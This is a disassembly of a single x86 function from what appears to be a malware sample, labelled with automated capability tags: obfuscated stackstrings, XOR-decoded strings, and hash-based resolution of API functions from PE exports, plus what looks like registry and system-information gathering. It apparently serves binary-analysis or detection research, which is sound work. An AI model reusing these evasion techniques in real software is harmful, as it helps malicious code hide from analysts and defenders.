Function at 0x420f1b
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x5ec
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x5c], 0xeef49e87
push edi
mov dword [esp + 0x64], 0xb3bea7b5
mov ecx, ebx
mov dword [esp + 0x68], 0xa788c4c3
mov dword [esp + 0x6c], 0x82eeaba2
mov dword [esp + 0x70], 0xbaafada1
mov dword [esp + 0x74], 0xf4a0a1a7
mov byte [esp + 0x78], 0xee
mov al, byte [esp + ecx + 0x60]
xor al, 0xce
mov byte [esp + ecx + 0x1ac], al
inc ecx
cmp ecx, 0x19
jl 0x420f5e
mov byte [esp + 0x1c5], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x8062171a
mov dword [esp + 0x14], 0x6e5b7f72
mov dword [esp + 0x18], 0x2d47727a
mov al, byte [esp + ecx + 0x10]
sub al, 0xd
mov byte [esp + ecx + 0x144], al
inc ecx
cmp ecx, 0xc
jl 0x420f92
mov dword [esp + 0x28], 0xbaadbbbd
xorps xmm0, xmm0
mov dword [esp + 0x2c], 0xadb5a9b6
xor eax, eax
movq xmm1, qword [esp + 0x28]
mov ecx, ebx
punpcklbw xmm1, xmm0
psubw xmm1, xmmword [0x428f70]
pand xmm1, xmmword [0x428f80]
mov dword [esp + 0x3c], 0x674b0205
mov dword [esp + 0x40], 0x7c7d7865
mov dword [esp + 0x44], 0x69467a6d
mov dword [esp + 0x48], 0x28326d65
movups xmm0, xmmword [esp + 0x3c]
mov byte [esp + 0x150], bl
movups xmmword [esp + 0x168], xmm1
mov word [esp + 0x178], ax
movaps xmm1, xmmword [str._b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b]
pxor xmm1, xmm0
mov byte [esp + 0x164], bl
movups xmmword [esp + 0x154], xmm1
mov dword [esp + 0x10], 0x3b262428
mov dword [esp + 0x14], 0x392e3f3e
mov dword [esp + 0x18], 0x2e262a25
mov al, byte [esp + ecx + 0x10]
xor al, 0x4b
movzx eax, al
mov word [esp + ecx*2 + 0x1c8], ax
inc ecx
cmp ecx, 0xc
jl 0x421044
xor eax, eax
mov dword [esp + 0xc8], 0xe4c88186
mov word [esp + 0x1e0], ax
mov ecx, ebx
mov dword [esp + 0xcc], 0xf9ffe5fe
mov dword [esp + 0xd0], 0xf0abb1f2
mov dword [esp + 0xd4], 0xe5fee4e8
mov dword [esp + 0xd8], 0xf6f2f9ff
mov dword [esp + 0xdc], 0xe4c78186
mov dword [esp + 0xe0], 0xe2ffeae8
mov dword [esp + 0xe4], 0xabb1e5e4
mov dword [esp + 0xe8], 0xe8e4e7f0
mov dword [esp + 0xec], 0xe4e2ffea
mov dword [esp + 0xf0], 0x8186f6e5
mov dword [esp + 0xf4], 0xabfbe2d1
mov dword [esp + 0xf8], 0xeeefe4e8
mov dword [esp + 0xfc], 0xf1f0abb1
mov dword [esp + 0x100], 0xe4e8fbe2
mov dword [esp + 0x104], 0x86f6eeef
mov dword [esp + 0x108], 0xe6e2df81
mov dword [esp + 0x10c], 0xe5e4d1ee
mov dword [esp + 0x110], 0xf0abb1ee
mov dword [esp + 0x114], 0xeee6e2ff
mov dword [esp + 0x118], 0xeee5e4f1
mov dword [esp + 0x11c], 0xc38186f6
mov dword [esp + 0x120], 0xb1cfc2dc
mov byte [esp + 0x124], 0xab
mov al, byte [esp + ecx + 0xc8]
xor al, 0x8b
mov byte [esp + ecx + 0x250], al
inc ecx
cmp ecx, 0x5d
jl 0x42116c
mov byte [esp + 0x2ad], bl
mov ecx, ebx
mov dword [esp + 0x3c], 0xc4f2bbbc
mov dword [esp + 0x40], 0xdfd4c3c3
mov dword [esp + 0x44], 0xd0dd91c5
mov dword [esp + 0x48], 0xd0c4d6df
mov dword [esp + 0x4c], 0x918bd4d6
mov al, byte [esp + ecx + 0x3c]
xor al, 0xb1
mov byte [esp + ecx + 0x17c], al
inc ecx
cmp ecx, 0x14
jl 0x4211b3
mov byte [esp + 0x190], bl
mov ecx, ebx
mov dword [esp + 0x50], 0xcdbd7477
mov dword [esp + 0x54], 0xd8cfcfdc
mov dword [esp + 0x58], 0xcfe4d3bd
mov word [esp + 0x5c], 0x8aa4
mov al, byte [esp + ecx + 0x50]
sub al, 0x6a
mov byte [esp + ecx + 0x3c], al
inc ecx
cmp ecx, 0xe
jl 0x4211ee
mov byte [esp + 0x4a], bl
mov ecx, ebx
mov dword [esp + 0x12c], 0x3a67763a
mov byte [esp + 0x130], 0x76
mov al, byte [esp + ecx + 0x12c]
xor al, 0x1f
movzx eax, al
mov word [esp + ecx*2 + 0x50], ax
inc ecx
cmp ecx, 5
jl 0x421217
xor eax, eax
mov dword [esp + 0x10], 0x3b1ad5d8
mov word [esp + 0x5a], ax
mov ecx, ebx
mov dword [esp + 0x14], 0x3f2c3d30
mov dword [esp + 0x18], 0xeb393a34
mov dword [esp + 0x1c], 0x3f3e441e
mov dword [esp + 0x20], 0xeb053830
mov al, byte [esp + ecx + 0x10]
add al, 0x35
mov byte [esp + ecx + 0x194], al
inc ecx
cmp ecx, 0x14
jl 0x42125f
mov byte [esp + 0x1a8], bl
mov ecx, ebx
mov dword [esp + 0x9c], 0xc1d3dac6
mov dword [esp + 0xa0], 0xd0c7d4c2
mov dword [esp + 0xa4], 0xf6fcd8c9
mov dword [esp + 0xa8], 0xfae6fae7
mov dword [esp + 0xac], 0xc2c9e1f3
mov dword [esp + 0xb0], 0xfaf1fbfc
mov dword [esp + 0xb4], 0xdbb5e6e2
mov dword [esp + 0xb8], 0xe0d6c9c1
mov dword [esp + 0xbc], 0xfbf0e7e7
mov dword [esp + 0xc0], 0xe7f0c3e1
mov dword [esp + 0xc4], 0xfbfafce6
mov al, byte [esp + ecx + 0x9c]
xor al, 0x95
movzx eax, al
mov word [esp + ecx*2 + 0xc8], ax
inc ecx
cmp ecx, 0x2c
jl 0x4212f4
xor eax, eax
mov dword [esp + 0x28], 0x2b203d1f
mov word [esp + 0x120], ax
mov ecx, ebx
mov dword [esp + 0x2c], 0x13b2c3a
mov word [esp + 0x30], 0x222e
mov byte [esp + 0x32], 0x2a
mov al, byte [esp + ecx + 0x28]
xor al, 0x4f
movzx eax, al
mov word [esp + ecx*2 + 0x60], ax
inc ecx
cmp ecx, 0xb
jl 0x421336
xor eax, eax
mov dword [esp + 0x7c], 0xa1a4a1a4
mov word [esp + 0x76], ax
mov ecx, ebx
mov dword [esp + 0x80], 0xf80dd8
mov dword [esp + 0x84], 0x3f9f803
mov dword [esp + 0x88], 0xfce2b7fc
mov dword [esp + 0x8c], 0xf806f910
mov dword [esp + 0x90], 0xf8e3fb09
mov dword [esp + 0x94], 0xb0c0610
mov word [esp + 0x98], 0xd10a
mov byte [esp + 0x9a], 0xb7
mov al, byte [esp + ecx + 0x7c]
add al, 0x69
mov byte [esp + ecx + 0x9c], al
inc ecx
cmp ecx, 0x1f
jl 0x4213af
mov byte [esp + 0xbb], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x65686568
mov dword [esp + 0x14], 0xbfcdbca3
mov dword [esp + 0x18], 0xc0cdbcd2
mov dword [esp + 0x1c], 0x687b95ce
mov dword [esp + 0x20], 0xb0ab9e65
mov word [esp + 0x24], 0x7b95
mov al, byte [esp + ecx + 0x10]
sub al, 0x5b
mov byte [esp + ecx + 0x7c], al
inc ecx
cmp ecx, 0x16
jl 0x4213fa
mov byte [esp + 0x92], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x21262c06
mov dword [esp + 0x14], 0x3b1c3830
mov dword [esp + 0x18], 0x38273a33
mov dword [esp + 0x1c], 0x3a3c2134
mov dword [esp + 0x20], 0x2d217b3b
mov byte [esp + 0x24], 0x21
mov al, byte [esp + ecx + 0x10]
xor al, 0x55
movzx eax, al
mov word [esp + ecx*2 + 0x1e4], ax
inc ecx
cmp ecx, 0x15
jl 0x421440
xor eax, eax
mov word [esp + 0x20e], ax
mov al, byte [0x42bc1d]
xor al, 0x14
push 0x2000
mov byte [0x42bc0c], al
call fcn.0040570b
mov dl, byte [0x42bc06]
lea edi, [esp + 0x14]
mov esi, eax
mov dword [esp + 0x2c], 0xf0c18e5
xor eax, eax
mov dword [esp + 0x30], 0x410c307
stosd dword es:[edi], eax
pop ecx
mov cl, dl
mov dword [esp + 0x30], 0xc3dd0e15
and cl, 0xb0
stosd dword es:[edi], eax
xor cl, 0x7a
mov byte [0x42bc0c], cl
add dl, 0x7a
mov ecx, ebx
stosd dword es:[edi], eax
mov al, byte [esp + ecx + 0x28]
add al, 0x5d
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 0xc
jl 0x4214b4
mov byte [esp + 0x138], bl
mov ecx, ebx
mov word [esp + 0x34], 0xd10
mov al, byte [esp + ecx + 0x34]
sub al, 3
mov byte [esp + ecx + 0x38], al
inc ecx
cmp ecx, 2
jl 0x4214d7
mov cl, byte [0x42bc1d]
add dl, 0xe3
or cl, 0xf9
mov byte [0x42bc06], dl
mov al, cl
mov byte [0x42bc1d], cl
sub al, 0x46
mov byte [esp + 0x3a], bl
mov byte [0x42bc22], al
lea edx, [esp + 0x12c]
movzx eax, cl
or ebp, 0xffffffff
imul eax, eax, 0x297c6652
lea ecx, [esp + 0x10]
push ebp
mov dword [0x42bc10], eax
call fcn.004236a5
movzx eax, byte [0x42bc06]
mov edx, 0x428e8c
pop ecx
sub eax, 0x6e6e5e65
lea ecx, [esp + 0x10]
push ebp
mov dword [0x42bc10], eax
call fcn.004236a5
movzx eax, byte [0x42bc1d]
lea edx, [esp + 0x3c]
pop ecx
xor eax, 0xa59e0161
lea ecx, [esp + 0x10]
push ebp
mov dword [0x42bc10], eax
call fcn.004236a5
movzx eax, byte [0x42bc06]
lea edx, [esp + 0x1b0]
imul eax, eax, 0xed
pop ecx
push ebp
lea ecx, [esp + 0x14]
mov byte [0x42bc1d], al
call fcn.004236a5
movzx eax, byte [0x42bc1d]
mov edi, 0x1000
imul eax, eax, 0x31
mov edx, 0xe718270b
pop ecx
push edi
xor ecx, ecx
push esi
mov byte [0x42bc1d], al
inc ecx
add al, 0x1c
mov byte [0x42bc0c], al
or al, 0xf6
push ebx
mov byte [0x42bc22], al
call fcn.00415084
call eax
test eax, eax
je 0x4215ef
mov al, byte [0x42bc0c]
lea ecx, [esp + 0x10]
add al, 0x65
mov edx, esi
mov byte [0x42bc06], al
mov al, byte [0x42bc10]
or al, 0x89
mov byte [0x42bc22], al
call fcn.00422d16
mov al, byte [0x42bc10]
lea edx, [esp + 0x144]
xor byte [0x42bc22], 0x97
lea ecx, [esp + 0x10]
add al, 0x3f
push ebp
mov byte [0x42bc06], al
call fcn.004236a5
mov al, byte [0x42bc22]
xor al, 0x57
pop ecx
mov byte [0x42bc1d], al
xor ecx, ecx
or al, 0x10
inc ecx
push edi
mov byte [0x42bc0c], al
mov edi, 0x1a52823b
lea eax, [esp + 0x16c]
mov edx, edi
push esi
push eax
call fcn.00415084
call eax
test eax, eax
je 0x42167a
mov cl, byte [0x42bc1d]
mov edx, esi
movzx eax, byte [0x42bc22]
add cl, 0x5f
mov byte [0x42bc0c], cl
add eax, 0x6261693e
and cl, 0x6b
mov dword [0x42bc10], eax
mov byte [0x42bc1d], cl
lea ecx, [esp + 0x10]
call fcn.00422d16
mov al, byte [0x42bc22]
lea edx, [esp + 0x154]
add byte [0x42bc0c], 0x43
lea ecx, [esp + 0x10]
or al, 0xe7
mov byte [0x42bc1d], al
movzx eax, byte [0x42bc06]
xor eax, 0x3e10eae3
push ebp
mov dword [0x42bc10], eax
call fcn.004236a5
mov cl, byte [0x42bc22]
mov edx, edi
movzx eax, cl
or cl, 0x1c
imul eax, eax, 0xf8
mov byte [0x42bc0c], cl
xor ecx, ecx
mov dword [esp], 0x1000
inc ecx
push esi
mov byte [0x42bc06], al
movzx eax, byte [0x42bc1d]
add eax, 0x5e4dfd09
mov dword [0x42bc10], eax
lea eax, [esp + 0x1d0]
push eax
call fcn.00415084
call eax
test eax, eax
je 0x421722
mov al, byte [0x42bc10]
lea ecx, [esp + 0x10]
add al, 0x42
mov edx, esi
mov byte [0x42bc22], al
mov al, byte [0x42bc0c]
sub al, 0x31
or al, 0x17
mov byte [0x42bc06], al
call fcn.00422d16
mov al, byte [0x42bc06]
lea edx, [esp + 0x250]
mov cl, al
sub al, 0x68
sub cl, 0x1f
mov byte [0x42bc0c], al
mov byte [0x42bc22], cl
or cl, 0x54
mov byte [0x42bc06], cl
lea ecx, [esp + 0x10]
push ebp
call fcn.004236a5
mov al, byte [0x42bc10]
xor byte [0x42bc22], 0xc3
or al, 0xfb
pop ecx
push ebp
push ecx
mov byte [0x42bc06], al
call fcn.004203ac
pop ecx
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.004236a5
mov al, byte [0x42bc06]
lea edx, [esp + 0x180]
pop ecx
add al, 0x45
lea ecx, [esp + 0x10]
push ebp
mov byte [0x42bc22], al
call fcn.004236a5
mov al, byte [0x42bc1d]
mov edx, 0x5b5926c8
pop ecx
push ebx
and al, 0xbc
push 5
pop ecx
mov byte [0x42bc22], al
call fcn.00415084
call eax
mov dl, byte [0x42bc10]
and dl, 0xd2
movzx eax, ax
movzx ecx, dl
imul ecx, ecx, 0x19
push 0x1000
push esi
push 2
push eax
mov byte [0x42bc0c], cl
movzx ecx, dl
mov edx, 0x276dcf3
imul ecx, ecx, 0xa2
mov byte [0x42bc1d], cl
xor ecx, ecx
inc ecx
call fcn.00415084
call eax
test eax, eax
je 0x421833
movzx eax, byte [0x42bc06]
mov edx, esi
xor eax, 0xb612fdd8
mov dword [0x42bc10], eax
mov al, byte [0x42bc22]
mov cl, al
sub al, 0x6c
sub cl, 0xe
mov byte [0x42bc06], al
mov byte [0x42bc0c], cl
dec cl
mov byte [0x42bc1d], cl
lea ecx, [esp + 0x10]
call fcn.00422d16
imul eax, dword [0x42bc10], 0x607c27cc
lea edx, [esp + 0x3c]
push ebp
lea ecx, [esp + 0x14]
mov dword [0x42bc10], eax
xor al, 0xb6
mov byte [0x42bc22], al
call fcn.004236a5
mov al, byte [0x42bc10]
mov edi, 0xa499d7b7
pop ecx
push 1
sub al, 0x63
mov edx, edi
and al, 0xa3
push 5
pop ecx
mov byte [0x42bc06], al
call fcn.00415084
call eax
push eax
push ebx
push 5
mov edx, edi
pop ecx
call fcn.00415084
call eax
push eax
lea eax, [esp + 0x58]
mov edx, 0xe3740fb6
push eax
push 0x1000
push esi
xor ecx, ecx
call fcn.00415084
call eax
movzx eax, byte [0x42bc22]
lea ecx, [esp + 0x24]
add esp, 0x14
sub eax, 0x216088c9
mov edx, esi
mov dword [0x42bc10], eax
call fcn.00422d16
movzx eax, byte [0x42bc22]
lea edx, [esp + 0x194]
imul eax, eax, 0x6ba1df23
lea ecx, [esp + 0x10]
push ebp
mov dword [0x42bc10], eax
mov al, byte [0x42bc0c]
add al, 0x24
mov byte [0x42bc06], al
call fcn.004236a5
movzx eax, byte [0x42bc22]
lea edx, [esp + 0xcc]
and byte [0x42bc0c], 0xd3
mov ecx, 0x80000002
imul eax, eax, 0x9490dea5
mov dword [esp], 0x2000
push esi
mov dword [0x42bc10], eax
sub al, 0x52
mov byte [0x42bc06], al
lea eax, [esp + 0x68]
push eax
call fcn.00422b9d
add esp, 0xc
test al, al
je 0x421aba
mov cl, byte [0x42bc10]
mov edx, esi
movzx eax, byte [0x42bc06]
or cl, 0x4f
xor cl, 0x8c
imul eax, eax, 0xb1
mov byte [0x42bc0c], cl
xor cl, 0xf1
mov byte [0x42bc06], cl
lea ecx, [esp + 0x10]
mov byte [0x42bc1d], al
call fcn.00422d16
movzx eax, byte [0x42bc22]
xor ecx, ecx
xor byte [0x42bc0c], 0xd2
or eax, 0x74be7688
add byte [0x42bc1d], 8
mov edx, 0xd226977
mov dword [0x42bc10], eax
inc ecx
and al, 0x6a
mov dword [esp + 0x12c], ebx
mov byte [0x42bc06], al
call fcn.00415084
movzx ecx, byte [0x42bc22]
mov edi, eax
imul ecx, ecx, 0x78
mov byte [0x42bc0c], cl
test edi, edi
je 0x4219f4
mov dl, byte [0x42bc10]
lea eax, [esp + 0x12c]
mov cl, dl
and dl, 0xd9
add cl, 0x36
mov byte [0x42bc06], dl
mov byte [0x42bc22], cl
mov edx, 0x24526977
xor ecx, ecx
push eax
inc ecx
call fcn.00415084
call eax
push eax
call edi
mov al, byte [0x42bc06]
mov cl, al
add cl, 0x68
mov byte [0x42bc0c], cl
cmp dword [esp + 0x12c], ebx
je 0x421a2b
mov cl, byte [0x42bc10]
mov ch, 1
mov ah, cl
xor ah, 0xc0
xor cl, 0xf8
mov byte [0x42bc1d], ah
mov byte [0x42bc0c], cl
jmp 0x421a33
mov ah, byte [0x42bc1d]
mov ch, bl
movzx edx, al
add edx, 0x51eeec68
mov dword [0x42bc10], edx
test ch, ch
je 0x421a7b
mov dword [esp + 0x38], 0x8a88c69e
mov ecx, ebx
mov al, byte [esp + ecx + 0x38]
xor al, 0xbe
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 4
jl 0x421a50
add byte [0x42bc06], 0x83
xor ah, 0xcb
and dl, 0x44
mov byte [0x42bc0c], ah
mov byte [0x42bc22], dl
jmp 0x421aa7
mov dword [esp + 0x38], 0x10247ef
mov edi, ebx
mov al, byte [esp + edi + 0x38]
add al, 0x31
mov byte [esp + edi + 0x28], al
inc edi
cmp edi, 4
jl 0x421a85
or dl, 0x37
xor cl, 0x15
mov byte [0x42bc1d], dl
mov byte [0x42bc22], cl
push ebp
lea edx, [esp + 0x2c]
mov byte [esp + 0x30], bl
lea ecx, [esp + 0x14]
call fcn.004236a5
pop ecx
mov al, byte [0x42bc1d]
lea edx, [esp + 0x9c]
add al, 0x2f
lea ecx, [esp + 0x10]
push ebp
mov byte [0x42bc22], al
call fcn.004236a5
movzx eax, byte [0x42bc0c]
mov edx, 0xf2fdc9f0
pop ecx
push ebx
push ebx
and eax, 0xba58b713
push 5
pop ecx
mov dword [0x42bc10], eax
call fcn.00415084
call eax
mov edi, eax
mov al, byte [0x42bc0c]
movzx ecx, al
and ecx, 0xf3de304a
mov dword [0x42bc10], ecx
movzx ecx, byte [0x42bc06]
imul ecx, ecx, 0x1c
mov byte [0x42bc06], cl
test edi, edi
je 0x421c9f
movzx eax, al
imul eax, eax, 7
mov byte [0x42bc1d], al
mov al, byte [0x42bc22]
and al, 0x84
mov byte [0x42bc0c], al
movzx eax, byte [0x42bc22]
add eax, 0x3fd1d84
or eax, 0xf92f5587
mov dword [0x42bc10], eax
mov eax, edi
shl eax, 2
push eax
call fcn.0040570b
mov edx, eax
mov dword [esp + 0x130], edx
pop ecx
test edx, edx
je 0x421c9f
movzx ecx, byte [0x42bc1d]
add byte [0x42bc22], 0xd7
imul ecx, ecx, 0x15
push edx
push edi
push 5
mov edx, 0xf2fdc9f0
mov byte [0x42bc06], cl
mov cl, byte [0x42bc0c]
and cl, 0xaf
or cl, 0x2f
movzx eax, cl
mov byte [0x42bc0c], cl
xor eax, 0x716f1abf
pop ecx
mov dword [0x42bc10], eax
call fcn.00415084
call eax
mov cl, byte [0x42bc22]
mov ebp, ebx
mov al, cl
xor al, 0x4d
test edi, edi
je 0x421c81
mov eax, dword [esp + 0x12c]
and cl, 0x27
add byte [0x42bc1d], 0xb8
mov edx, 0x276dcf3
add byte [0x42bc06], 0x52
push 0x1000
movzx eax, word [eax + ebp*4]
mov byte [0x42bc0c], cl
xor ecx, ecx
push esi
push 2
push eax
inc ecx
call fcn.00415084
call eax
test eax, eax
je 0x421c6c
mov word [esp + 0x34], 0x8184
mov ecx, ebx
mov al, byte [esp + ecx + 0x34]
sub al, 0x77
mov byte [esp + ecx + 0x38], al
inc ecx
cmp ecx, 2
jl 0x421c14
mov al, byte [0x42bc0c]
lea edx, [esp + 0x38]
sub al, 0x5f
mov byte [esp + 0x3a], bl
mov byte [0x42bc06], al
lea ecx, [esp + 0x10]
movzx eax, byte [0x42bc0c]
or eax, 0x38410386
push 0xffffffffffffffff
mov dword [0x42bc10], eax
call fcn.004236a5
mov al, byte [0x42bc22]
mov edx, esi
pop ecx
add al, 0x7c
lea ecx, [esp + 0x10]
mov byte [0x42bc1d], al
call fcn.00422d16
inc ebp
cmp ebp, edi
jae 0x421c7c
mov cl, byte [0x42bc22]
jmp 0x421bcd
mov al, byte [0x42bc0c]
push dword [esp + 0x12c]
and byte [0x42bc06], 0x87
or al, 0x77
mov byte [0x42bc0c], al
call fcn.004056f0
pop ecx
or ebp, 0xffffffff
mov cl, byte [0x42bc22]
lea edx, [esp + 0x7c]
mov al, cl
add al, 0x7f
mov byte [0x42bc0c], al
movzx eax, cl
or cl, 0x62
imul eax, eax, 0xe0
mov byte [0x42bc22], cl
lea ecx, [esp + 0x10]
push ebp
mov byte [0x42bc1d], al
call fcn.004236a5
pop ecx
mov cl, byte [0x42bc1d]
mov al, cl
and cl, 0x9e
add al, 0x44
mov byte [0x42bc06], cl
mov byte [0x42bc22], al
mov ecx, esi
imul eax, dword [0x42bc10], 0xf3d124f
mov dword [0x42bc10], eax
call fcn.00420ca3
mov al, byte [0x42bc10]
lea ecx, [esp + 0x10]
and al, 0xa2
mov edx, esi
mov byte [0x42bc1d], al
movzx eax, al
add eax, 0x839390ec
mov dword [0x42bc10], eax
and al, 0x4b
push ebp
mov byte [0x42bc0c], al
call fcn.004236a5
mov dl, byte [0x42bc22]
movzx eax, dl
sub dl, 0x18
imul eax, eax, 0xb43a09cc
pop ecx
push 1
mov byte [0x42bc0c], dl
mov dword [esp + 0x2b4], 0x348
mov dword [0x42bc10], eax
mov al, dl
add al, 0x4e
or dl, 0x93
mov byte [0x42bc06], al
lea eax, [esp + 0x2b4]
push eax
push ebx
push ebx
mov byte [0x42bc22], dl
mov edx, 0xb154ff53
push 5
pop ecx
call fcn.00415084
call eax
test eax, eax
je 0x421dfa
mov dword [esp + 0x28], 0x241bdee1
mov ecx, ebx
mov word [esp + 0x2c], 0xe29
mov byte [esp + 0x2e], 0xf4
mov al, byte [esp + ecx + 0x28]
add al, 0x2c
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 7
jl 0x421d9e
mov al, byte [0x42bc1d]
lea edx, [esp + 0x12c]
or al, 0xaa
mov byte [esp + 0x133], bl
mov byte [0x42bc06], al
lea ecx, [esp + 0x10]
movzx eax, al
and eax, 0x854f93e8
push ebp
mov dword [0x42bc10], eax
call fcn.004236a5
and byte [0x42bc06], 0xa9
lea edx, [esp + 0x2f8]
pop ecx
lea ecx, [esp + 0x10]
call fcn.00422d16
movzx eax, byte [0x42bc22]
xor ecx, ecx
or eax, 0x93bb99d3
mov byte [0x42bc06], 0xd0
mov dword [0x42bc10], eax
mov edx, 0x7065a9c4
lea eax, [esp + 0x210]
mov dword [esp + 0x210], 0x40
push eax
inc ecx
mov byte [0x42bc22], 0x90
call fcn.00415084
call eax
test eax, eax
je 0x421ee4
mov dword [esp + 0x28], 0x889bc3c4
mov dword [esp + 0x2c], 0xece9f384
mov word [esp + 0x30], 0xa5bc
mov byte [esp + 0x32], 0xa5
mov al, byte [esp + ebx + 0x28]
xor al, 0xc9
movzx eax, al
mov word [esp + ebx*2 + 0x12c], ax
inc ebx
cmp ebx, 0xb
jl 0x421e5f
push dword [esp + 0x21c]
xor byte [0x42bc1d], 0xb
xor eax, eax
push dword [esp + 0x21c]
mov word [esp + 0x14a], ax
mov edx, 0xe3740fb6
mov al, byte [0x42bc22]
xor ecx, ecx
sub al, 5
mov byte [0x42bc06], al
lea eax, [esp + 0x134]
push eax
push 0x1000
push esi
call fcn.00415084
call eax
movzx eax, byte [0x42bc1d]
lea ecx, [esp + 0x24]
imul eax, eax, 0x74270f2b
add esp, 0x14
mov edx, esi
mov dword [0x42bc10], eax
add al, 0xe
mov byte [0x42bc06], al
call fcn.00422d16
mov al, byte [0x42bc0c]
mov cl, byte [0x42bc06]
add al, 0x7f
mov edx, dword [esp + 0x18]
sub cl, 9
mov byte [0x42bc22], al
movzx eax, cl
imul eax, eax, 0xd6
mov byte [0x42bc1d], cl
mov ecx, dword [esp + 0x10]
mov byte [0x42bc0c], al
lea eax, [esp + 0x1e4]
push eax
call fcn.0041e192
pop ecx
mov cl, byte [0x42bc0c]
movzx eax, cl
xor cl, 0xc5
and eax, 0xf828dfbe
mov byte [0x42bc1d], cl
push esi
mov dword [0x42bc10], eax
call fcn.004056f0
movzx eax, byte [0x42bc22]
imul eax, eax, 0xae
pop ecx
push dword [esp + 0x10]
mov byte [0x42bc06], al
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5ec
ret